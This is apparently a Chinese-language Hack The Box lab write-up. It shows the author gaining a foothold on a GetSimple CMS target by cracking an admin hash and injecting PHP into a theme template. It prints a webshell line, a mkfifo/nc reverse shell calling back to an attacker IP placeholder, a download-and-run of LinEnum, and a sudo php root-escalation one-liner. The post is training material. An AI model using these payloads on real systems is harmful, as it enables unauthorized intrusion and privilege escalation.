- Published on
- |...
HTB-Attack Your First Box -Knowledge Check
最後的知識檢查!
題目一 Spawn the target, gain a foothold and submit the contents of the user.txt flag.
首先看到我們的目標主機,馬上打開web試試

打開web開發者工具,好像沒有看到什麼

下一步用nmap scan 看看
nmap -sC -sV -oA enum_scan 10.129.42.249 -v
注意到兩個有趣的東西,一個是22port 一個是robots.txt 提到,禁止進入admin 那等等就來進去看看

先透過searchsploit GetSimple看看有沒有什麼漏洞可以用

網頁打開來看看,注意到一條有趣的評論

在網址上面帶上/theme試試,看起來出現了一個目錄

東看西看,注意到Innovation裡面有不少php,跟一個images檔案,會不會找到可以上傳的地方呢

剛剛提到的 /admin 看起來可以進去,下一步,可以暴力破解or再找找線索,

在虛擬主機,有點找不到東西,點進去Document也會出現 404

那我們就來用自己的瀏覽器來翻翻看 直接搜尋getsimple就會出現https://get-simple.info/

既然都提供連結了,我們直接跳到Github來看看吧
Github 快速呈現了所有他有相關的路徑 包括我們前面看到的/admin & /theme
所以所有相關目錄我們目前都知道了

東看看西看看,發現/data 下面有一個/users/admin.xml
點開來看看,啊哈 帳號密碼 來去試試看

直接測試的結果看起來不對
但很明顯這是帳號密碼,會不會是hash過的?
考慮到hash這種單向函數需要工具

我們就直接找外部工具吧,果然查出來也是admin

在用admin/admin 登入一次

看來順利登入了

黃色總是特別醒目,我們點擊看看support,果然找到了版本,有了版本,馬上就可以看看有沒有漏洞

透過searchsploit getsimple v3.3.16 看起來有個RCE漏洞

稍早我們注意到目錄裡,有很多php檔案,也許我們可以透過這種方式上傳有害的php
接下來就是找找看路徑 點擊到file 裡面看到有upload 但點擊下去似乎沒有反應,也測試看看可以新建folder

我們目前已知所有的路徑,看來theme是有機會的
Theme分頁視窗

瀏覽theme的畫面

接下來我們發現 Edit theme 是可以動手的

並且可以編輯template.php這個檔案

那就直接來寫我們學過的php 指令試試,最後按下save changes
<?php system('id'); ?>

看起來馬上就生效了
再來一次首頁,出現了我們預期的內容

既然測試ok,首頁被我們搶走了,那接下來我們就要動手做出一個反向shell
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {Attack IP} {Listening port} >/tmp/f"); ?>
把我們學過的貼上去,記得調整IP & port 之後儲存變更

打開自己的terminal開始監聽
$ nc -lvnp {listening port}

然後打開首頁讓他跑一下!
我按下重新整理後,果然出現了!

試試執行python3 來取得好的clipython3 -c 'import pty; pty.spawn("/bin/bash")'

既然有權限就可以到處找,但我比較偷懶,既然知道我們要找user.txt
我就直接用 find / -name user.txt
雖然有些地方沒有權限,但還是有找到一個,會是他嗎

Bingo!

題目二 After obtaining a foothold on the target, escalate privileges to root and submit the contents of the root.txt flag.
題目談到要提權
我們就先來裝剛學到的, 記得下載到本機而不是取得權限的遠端主機wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

一樣是我們學過的招式
在本機開個server sudo python3 -http.server 8080
遠端主機用wget在取得一次,左邊是我們取得權限的主機,第一次失敗是因為我在本地還沒有按下啟動server

好了各位客官,上權限!
chmod +x LinEnum.sh./LinEnum.sh
接下來就是來看掃描結果 看來有些有趣的東西

發現 all:all NOPASSWD /usr/bin/php
根據我們再提權章節學到的
透過指令 sudo -u root /usr/bin/php取得root權限試試,便可以順利拿到flag.txt
看來此路不通
如果用 sudo -l 也可以看到一樣的東西

看來php要用特殊的方式才能進來,查來查去要這樣做,原理還沒搞懂,這部分需要再查查
cd /usr/bin
CMD="/bin/sh"sudo /usr/bin/php -r "system('$CMD');"

雖然shell怪怪的,但的確可以執行,繼續透過find 很快找出root.txt

終於成功完成第一區啦~